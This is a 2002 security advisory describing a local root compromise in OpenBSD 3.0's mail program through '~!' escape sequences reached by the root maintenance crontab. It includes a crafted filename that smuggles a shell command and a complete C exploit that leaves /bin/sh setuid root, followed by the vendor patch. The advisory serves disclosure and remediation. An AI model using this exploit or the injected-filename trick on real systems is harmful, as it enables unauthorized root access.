26th Sep 2002 [SBWID-5260]
COMMAND
	Mail local root compromise
SYSTEMS AFFECTED
	OpenBSD 3.0
PROBLEM
	In  Milos  Urbanek  ZOOM  International  (c)   [http://www.zoom-int.cz/]
	Security Advisory :
	Program /usr/bin/mail allows a special escape sequence to  be  specified
	in the body of an email; this escape sequence specifies a  shell  comand
	to be executed
	
	~!command
	
	executes the indicated shell command, then return to the message.
	Problem: default root crontab entry looks like:
	
	# do daily/weekly/monthly maintenance
	# on monday only (techie)
	30      1       *       *       1       /bin/sh /etc/daily 2>&1 | tee /var/log/d
	aily.out | mail -s "`/bin/hostname` daily output" root
	30      3       *       *       6       /bin/sh /etc/weekly 2>&1 | tee /var/log/
	weekly.out | mail -s "`/bin/hostname` weekly output" root
	30      5       1       *       *       /bin/sh /etc/monthly 2>&1 | tee /var/log/monthly.out | mail -s "`/bin/hostname` monthly output" root
	
	If there is something in files /etc/daily, /etc/weekly  or  /etc/monthly
	which could enable  the  attacker  to  insert  its  own  input,  like  a
	malformed filename
	
	chiba:5$ touch \~!haha
	chiba:6$ ls -al *haha*
	-rw-r--r--  1 milos  milos  0 Apr  8 19:30 ~!haha
	
	or by other means like output from log files under /var/log,
	the attacker can execute arbitrary comand running under root  privileges
	which can lead to the root compromise.
	Exploit:
	
	/*
	 * (c) 2002 [email protected]
	 *
	 * OpenBSD 3.0 (before 08 Apr 2002)
	 * /etc/security + /usr/bin/mail local root exploit
	 *
	 * Run the exploit and wait for /etc/daily executed from crontab.
	 * /bin/sh will be suid root next day morning.
	 *
	 * Credit goes to [email protected] for discovering vulnerability.
	 *
	 */
	#include <fcntl.h>
	int main(void)
	{
		int fd;
		chdir("/tmp");
		fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);
		if (fd) 
			close(fd);
	}
	
SOLUTION
	Mail Patch
	
	Index: collect.c
	===================================================================
	RCS file: /cvs/src/usr.bin/mail/collect.c,v
	retrieving revision 1.23
	retrieving revision 1.24
	diff -u -r1.23 -r1.24
	--- collect.c   2001/11/21 15:26:39     1.23
	+++ collect.c   2002/04/08 20:27:17     1.24
	@@ -1,4 +1,4 @@
	-/*     $OpenBSD: collect.c,v 1.23 2001/11/21 15:26:39 millert Exp $    */
	+/*     $OpenBSD: collect.c,v 1.24 2002/04/08 20:27:17 millert Exp $    */
	 /*     $NetBSD: collect.c,v 1.9 1997/07/09 05:25:45 mikel Exp $        */
	 /*
	@@ -38,7 +38,7 @@
	 #if 0
	 static const char sccsid[] = "@(#)collect.c    8.2 (Berkeley) 4/19/94";
	 #else
	-static const char rcsid[] = "$OpenBSD: collect.c,v 1.23 2001/11/21 15:26:39 millert Exp $";
	+static const char rcsid[] = "$OpenBSD: collect.c,v 1.24 2002/04/08 20:27:17 millert Exp $";
	 #endif
	 #endif /* not lint */
	@@ -161,7 +161,8 @@
	                    value("interactive") != NULL && !lastlong &&
	                    (value("dot") != NULL || value("ignoreeof") != NULL))
	                        break;
	-               if (linebuf[0] != escape || lastlong) {
	+               if (linebuf[0] != escape || value("interactive") == NULL ||
	+                   lastlong) {
	                        if (putline(collf, linebuf, !longline) < 0)
	                                goto err;
	                        continue;